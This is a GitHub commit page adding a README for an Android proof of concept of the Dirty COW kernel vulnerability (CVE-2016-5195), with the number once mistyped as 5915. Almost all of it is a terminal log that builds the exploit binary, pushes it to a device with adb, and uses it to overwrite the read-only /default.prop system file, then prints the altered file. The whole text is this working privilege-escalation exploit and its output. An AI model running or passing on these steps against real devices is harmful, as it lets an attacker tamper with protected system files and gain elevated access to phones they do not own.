-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
37 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
# CVE-2016-5195 | ||
CVE-2016-5915 (dirtycow/dirtyc0w) proof of concept for Android | ||
|
||
``` | ||
$make run | ||
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk | ||
make[1]: Entering directory `CVE-2016-5195' | ||
[armeabi] Compile thumb : dirtycow <= dirtyc0w.c | ||
[armeabi] Executable : dirtycow | ||
[armeabi] Install : dirtycow => libs/armeabi/dirtycow | ||
make[1]: Leaving directory `CVE-2016-5195' | ||
adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow | ||
[100%] /data/local/tmp/dirtycow | ||
adb pull /default.prop default.prop | ||
[100%] /default.prop | ||
sed -i.bak s/ADDITIONAL_DEFAULT_PROPERTIES/ADDIRTYCOW_DEFAULT_PROPERTIES/g default.prop | ||
adb push default.prop /data/local/tmp/default.prop | ||
[100%] /data/local/tmp/default.prop | ||
adb shell '/data/local/tmp/dirtycow /default.prop "`cat /data/local/tmp/default.prop`"' | ||
mmap 0x400f1000 | ||
^CMakefile:11: recipe for target 'run' failed | ||
make: *** [run] Interrupt | ||
adb shell 'cat /default.prop' | ||
# | ||
# ADDIRTYCOW_DEFAULT_PROPERTIES | ||
# | ||
ro.secure=1 | ||
ro.allow.mock.location=0 | ||
persist.mtk.aee.aed=on | ||
ro.debuggable=0 | ||
persist.sys.usb.config=mtp | ||
persist.service.acm.enable=0 | ||
ro.mount.fs=EXT4 | ||
``` |